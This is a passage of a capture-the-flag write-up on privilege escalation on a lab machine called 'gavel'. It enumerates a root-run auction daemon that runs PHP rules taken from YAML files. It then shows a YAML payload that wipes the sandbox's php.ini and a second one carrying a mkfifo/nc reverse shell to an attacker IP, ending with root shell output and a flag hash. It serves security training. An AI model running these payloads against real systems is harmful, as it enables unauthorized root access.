drwxr-xr-x 3 root root 4096 Nov 5 12:46 .config
-rwxr-xr-- 1 root root 35992 Oct 3 19:35 gaveld
-rw-r--r-- 1 root root 364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root 4096 Nov 5 12:46 submission
- There are quite a few root-owned files, some readable, some not. Let’s enumerate them one by one.
/opt/gavel/sample.yaml:
Starting with the YAML file, we can see that this is a template for an auction item, with rules that are written in PHP codes. It looks very similar to the ones that we exploited for RCE on the web application.
auctioneer@gavel:/opt/gavel$ cat sample.yaml
---
item:
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
/opt/gavel/gaveld:
This is a root-owned binary. We can try running strings to see what is in the binary.
auctioneer@gavel:/$ ls -la /opt/gavel/gaveld
-rwxr-xr-- 1 root root 35992 Oct 3 19:35 gaveld
auctioneer@gavel:/opt/gavel$ strings gaveld
/lib64/ld-linux-x86-64.so.2
...
...[31mRule too long
/opt/gavel/submission
%08x%08x%08x
/opt/gavel/submission/%s.yaml
stats
gavel
localhost
invoice
/var/log/gavel_prod.log
[33mNo items won.
invoice.txt
/var/run/gaveld.sock
bind
listen
root
chown failed on socket
chmod failed on socket
accept
fork
/opt/gavel/.config/php/php.ini
function __sandbox_eval() {$previous_bid=%ld;$current_bid=%ld;$bidder='%s';%s};$res = __sandbox_eval();if(!is_bool($res)) { echo 'SANDBOX_RETURN_ERROR'; }else if($res) { echo 'ILLEGAL_RULE'; }
[32mItem submitted for review in next auction
[31mMySQL connection failed
[31m{"status":"err","msg":"Cannot open log"}
[31mYou are not authorized. Make sure your user belongs to the gavel-seller group.
[31mInvalid header length received.
[31mMemory allocation failed
[31mFailed to read header
[31mFailed to parse header: invalid JSON
[31mOperation not specified
[31mFailed to read submitted content
[31mYAML missing required keys: %s
[31mIllegal rule or sandbox violation.%s
/opt/gavel/submission/.tmpXXXXXX
[31mFailed to save submission
[1;36m=================== GAVEL AUCTION DASHBOARD ===================
[1;33m[Active Auctions]
ID Item Name Current Bid Ends In
SELECT id,item_name,current_price,TIMESTAMPDIFF(SECOND,NOW(),ends_at) FROM auctions WHERE status='active' ORDER BY ends_at ASC LIMIT 3
[32m%-4d
[0m %-30.30s
[36m%-13d
[0m
[35m%02d:%02d
[1;33m[Recently Ended Auctions]
ID Item Name Final Price Winner
SELECT id,item_name,current_price,IFNULL(highest_bidder,'None') FROM auctions WHERE status='ended' ORDER BY ends_at DESC LIMIT 3
[32m%-4s
[0m %-30.30s
[36m%-13s
[0m
[35m%s
[+] Winner '%127[^']' received '%127[^']'
[1;36m==================== GAVEL AUCTION INVOICE ====================
Date: %s
[1;33mNo. Winner Item Name
---------------------------------------------------------------
[32m%-4zu
[0m
[35m%-15s
[0m %s
[1;36m================================================================
[31mUnknown operation requested
Group %s not found, defaulting to root:root
...
A few key notes:
- It is likely reading YAML files from
/opt/gavel/submission/.
- There may be a log file in
/var/log/gavel_prod.log.
- It is likely creating the
invoice.txt.
- It is likely binding to the socket on
/var/run/gaveld.sock.
- It is likely using a PHP config file in
/opt/gavel/.config/php/php.ini.
- There is a
__sandbox_eval() function written in PHP. Combining this with the php.ini configuration file, the binary is likely running a PHP sandbox for PHP code execution.
We can try to run the binary by making a copy of it. However, an error message is returned. This is a good sign, since that probably means the binary is already running, likely by the root user as we have enumerated.
auctioneer@gavel:/tmp$ cp /opt/gavel/gaveld /tmp/gaveld
auctioneer@gavel:/tmp$ chmod +x /tmp/gaveld
auctioneer@gavel:/tmp$ /tmp/gaveld
bind: Address already in use
/opt/gavel/.config/php/php.ini:
This is the php.ini config file being referenced in the binary. As we can see, this is a heavily sandboxed PHP environment.
auctioneer@gavel:/opt/gavel/.config/php$ cat php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
A few key notes:
- The
open_basedir is set as /opt/gavel, meaning that all file reads & writes are restricted to the /opt/gavel directory only.
- The
disable_functions contains almost all command execution and file read & write. However, the file_put_contents function is not disabled. There may be potential file write within the /opt/gavel directory. See more at PHP: file_put_contents - Manual.
- The
allow_url_fopen and allow_url_include are both off, disallowing all file inclusion possibilities.
Let’s move on to the gavel-util we found, since there is not much we can do for now.
Enumerating the gavel-util binary
Inspecting the gavel-util binary
Again, we can run strings to inspect the binary. Since this is not an SUID binary, and we are not running it in sudo, the binary itself should not have any elevated privileges that can be abused. However, a deeper look into the string outputs shows that this binary may just be a client that sends data to the server.
auctioneer@gavel:/tmp$ ls -la /usr/local/bin/gavel-util
-rwxr-xr-x 1 root gavel-seller 17688 Oct 3 19:35 /usr/local/bin/gavel-util
auctioneer@gavel:/tmp$ strings /usr/local/bin/gavel-util
/lib64/ld-linux-x86-64.so.2
...
[31mERROR:
send hdrlen failed
send hdr failed
send content failed
submit
stat
not a regular file: %s
file too large
fopen
failed to read %s
/var/run/gaveld.sock
failed to connect to %s
filename
flags
content_length
[32m%s
stats
[31mNo response
invoice
[33mUsage: %s <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice
[31msubmit requires file argument
[31mNo response from server
[31mNo response for invoice
/var/run/gaveld.
...
A few key notes:
- From the error messages (
send xxx failed and No response from server, etc.), we can induce that this binary is only running as a client, and it is sending data to a locally hosted server (that may be running as root).
- The server is likely listening on a socket on
/var/run/gaveld.sock, which shares the same name as the /opt/gavel/gaveld binary (that is running by root).
By running the netstat or ss command, we can confirm that the socket is listening:
auctioneer@gavel:/tmp$ netstat -xnlp
...
unix 2 [ ACC ] STREAM LISTENING 24779 - /var/run/gaveld.sock
...
Therefore, the attack plan is clear. By supplying a malicious YAML file to the gavel-util binary, the binary will relay the input to the root-running server, opening possibilities for root-level code execution.
Running the gavel-util binary
Running the binary returns the help menu. We can see that there are three commands that we can run.
auctioneer@gavel:~$ /usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice
Running the invoice command:
Running the invoice command returns an error. It is also not taking any additional arguments. From the strings dumped from the gaveld binary, we can assume that this is likely trying to read the log from /var/log/gavel_prod.log.
auctioneer@gavel:~$ /usr/local/bin/gavel-util invoice
{"status":"err","msg":"Cannot open log"}
auctioneer@gavel:~$ /usr/local/bin/gavel-util invoice /opt/gavel/sample.yaml
{"status":"err","msg":"Cannot open log"}
However, there is no such file in the /var/log folder:
auctioneer@gavel:/tmp$ cat /var/log/gavel_prod.log
cat: /var/log/gavel_prod.log: No such file or directory
Running the stat command:
The stat command does not take any inputs and only lists the auction dashboard. Nothing of interest so far.
auctioneer@gavel:~$ /usr/local/bin/gavel-util stats
=================== GAVEL AUCTION DASHBOARD ===================
[Active Auctions]
ID Item Name Current Bid Ends In
1108 Ethereal Tax Token 649 01:59
1109 Goblin-Signed NDA 1240 02:06
1110 Potion of Eternal Wakefulness 832 02:15
[Recently Ended Auctions]
ID Item Name Final Price Winner
1107 Unicorn Parking Permit 1636 None
1106 Certificate of Authenticity 1329 None
1105 Time-Traveling Spoon 867 None
Running the submit command:
The submit command has the highest attacking value, since it is taking a user-supplied YAML file, and potentially parsing it in a root context. Running the command alone returned an error asking for a file.
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit
submit requires file argument
We can try to run the submit command directly with the sample.yaml file we previously found in the /opt/gavel directory. However, the following error is returned:
auctioneer@gavel:/tmp$ /usr/local/bin/gavel-util submit /opt/gavel/sample.yaml
YAML missing required keys: name description image price rule_msg rule
It means that the binary cannot find the keys from the YAML file. Re-checking the file shows that the top level key here is item, instead of the 6 required keys.
auctioneer@gavel:/$ cat /opt/gavel/sample.yaml
---
item:
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
Since the original sample.yaml file is root-owned and non-writeable, we will simply create a copy in our home directory.
auctioneer@gavel:~$ cp /opt/gavel/sample.yaml ./sample.yaml
We can then run text editors like nano to modify the file.
auctioneer@gavel:/$ nano /tmp/sample.yaml
- In the case where text editors are not available, we can always use commands like
cat to input everything within the command line, or we can edit the file offline in our attacker server, then upload the edited file to the victim machine.
Inside nano, we will remove the item key, and all trailing spaces in front of the 6 keys.
---
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
Now we can try resubmitting using the fixed YAML file. We can see that the server happily takes the file.
auctioneer@gavel:/$ /usr/local/bin/gavel-util submit /tmp/sample.yaml
Item submitted for review in next auction
Exploiting Command Injection for Privilege Escalation
Inspecting the gaveld binary (again)
Since we now know that the /opt/gavel/gaveld binary is running as root and is a server that takes requests from users, we can revisit the strings output to look for potentially vulnerable behaviours.
As mentioned, the __sandbox_eval() function is written in PHP and will execute PHP codes. From our initial foothold path, we know that the application is directly executing the PHP codes from rule in the custom ruleCheck function created by runkit. Here, the __sandbox_eval() function looks almost identical.
function __sandbox_eval() {
$previous_bid = %ld;
$current_bid = %ld;
$bidder = '%s';
%s
};
$res = __sandbox_eval();
if (!is_bool($res)) {
echo 'SANDBOX_RETURN_ERROR';
} else if ($res) {
echo 'ILLEGAL_RULE';
}
A few key notes from reviewing the function:
- The last (4th) argument of the
__sandbox_eval() function is very likely taking the PHP code from the rule value from the supplied YAML file.
- The response of the function is stored in
$res.
- The value of
$res is then passed through two checks.
- The first check looks for a Boolean response from the output of the function. The error
SANDBOX_RETURN_ERROR is returned if the output is not a Boolean value.
- The second check validates if the value of
$res is True. If it is returning True, the server should respond with ILLEGAL_RULE.
- However, if we look closer at the codes, we can see that the
if conditionals only return echo, with no additional actions that may stop the codes from running.
- Moreover, the
__sandbox_eval() is run BEFORE the if conditionals, which means that there is actually no validations or checks.
Inspecting the php.ini file (again)
The __sandbox_eval() function name has hinted that the function is running in a heavily restricted environment. As we previously enumerated, the php.ini is likely the main configuration file that sets the restrictions.
auctioneer@gavel:/opt/gavel/.config/php$ cat php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
We previously noted that:
- While most functions are disabled, the
file_put_contents function is still available, which allows root-privilege file write.
- File writes are restricted to the
/opt/gavel directory only.
Combining the above two observations, we can exploit this restricted file-write vulnerability by using it to wipe the php.ini file clean, essentially removing all restrictions.
Some extra readings during research:
Overwriting the php.ini file
We can construct the malicious YAML file using nano.
auctioneer@gavel:/tmp$ nano put_file_contents.yaml
Since file_put_contents overwrites the file with the provided input by default, we can simply supply an empty string ('') to overwrite the php.ini file, removing all restrictions.
---
name: "File_Put_Contents"
description: "Using file_put_contents() to overwrite the php.ini config file"
image: "random.png"
price: 10000
rule_msg: "Using file_put_contents() to overwrite the php.ini config file"
rule: "file_put_contents('/opt/gavel/.config/php/php.ini','');"
We then submit the malicious YAML file to the gaveld server. While the SANDBOX_RETURN_ERROR error is returned, we know from previous code reviews that the PHP codes were being executed regardless.
auctioneer@gavel:/tmp$ /usr/local/bin/gavel-util submit put_file_contents.yaml
Illegal rule or sandbox violation.SANDBOX_RETURN_ERROR
We can confirm this by checking the file content of php.ini. As we can see, there is no output when we attempt to cat the file. Using ls also shows that the file size is 0, confirming that our PHP code execution was successful.
auctioneer@gavel:/tmp$ cat /opt/gavel/.config/php/php.ini
auctioneer@gavel:/tmp$ ls -la /opt/gavel/.config/php/php.ini
-rw-r--r-- 1 root root 0 Dec 1 06:01 /opt/gavel/.config/php/php.ini
Obtaining a Root Shell
Now that all the restrictions are gone, we can send over a malicious YAML file that contains a reverse shell payload.
auctioneer@gavel:/tmp$ nano rce.yaml
We will use the same payload we used for initial foothold.
---
name: "RCE"
description: "Using system() to start a reverse shell"
image: "random.png"
price: 10000
rule_msg: "Using system() to start a reverse shell"
rule: "system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.32 443 >/tmp/f');return true;"
Lastly, we submit the malicious YAML file to the gaveld server.
auctioneer@gavel:/tmp$ /usr/local/bin/gavel-util submit rce.yaml
On our Penelope reverse shell listener, we successfully received a shell from the machine.
[+] Got reverse shell from gavel~10.129.183.7-Linux-x86_64 😍 Assigned SessionID <6>
[!] Session detached ⇲
(Penelope)-(Session [1])> interact 6
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [6], Shell Type: PTY, Menu key: F12
[+] Logging to /home/kali/.penelope/sessions/gavel~10.129.183.7-Linux-x86_64/2025_11_30-22_05_42-319.log 📜
──────────────────────────────────────────────────────────────────────────────────
root@gavel:/# whoami
root
Grabbing the root flag.
root@gavel:/# cat /root/root.txt
58e35507b86d342877f261f1290398d2
Key Learnings
1. Bypassing Prepared Statements in Query Emulation
For PHP applications, if SQL query emulation is on, it is possible to bypass prepared statements by manipulating the PDO parser logic. Unless if the PDO::ATTR_EMULATE_PREPARES is explicitly set as false, PDO emulates all prepared statements in MySQL by default.
- PDO will run its own SQL parser to escape strings and build the prepared statement, and it then sends the parsed full SQL statement to the database.
- Therefore, it is possible to abuse the parsing logic of PDO to sneak in SQL queries into the prepared statement.
- See more from: Novel SQL Injection Technique in PDO Prepared Statements.
2. Working with the php.ini file
A few facts about the php.ini file:
Initial Access
#Web_Exploit #Git #Source_Code_Review #SQLi #PHP #Prepared_Statements #Command_Injection #Password_Spraying
Privilege Escalation
#Sensitive_Files #File_Write #PHP #Command_Injection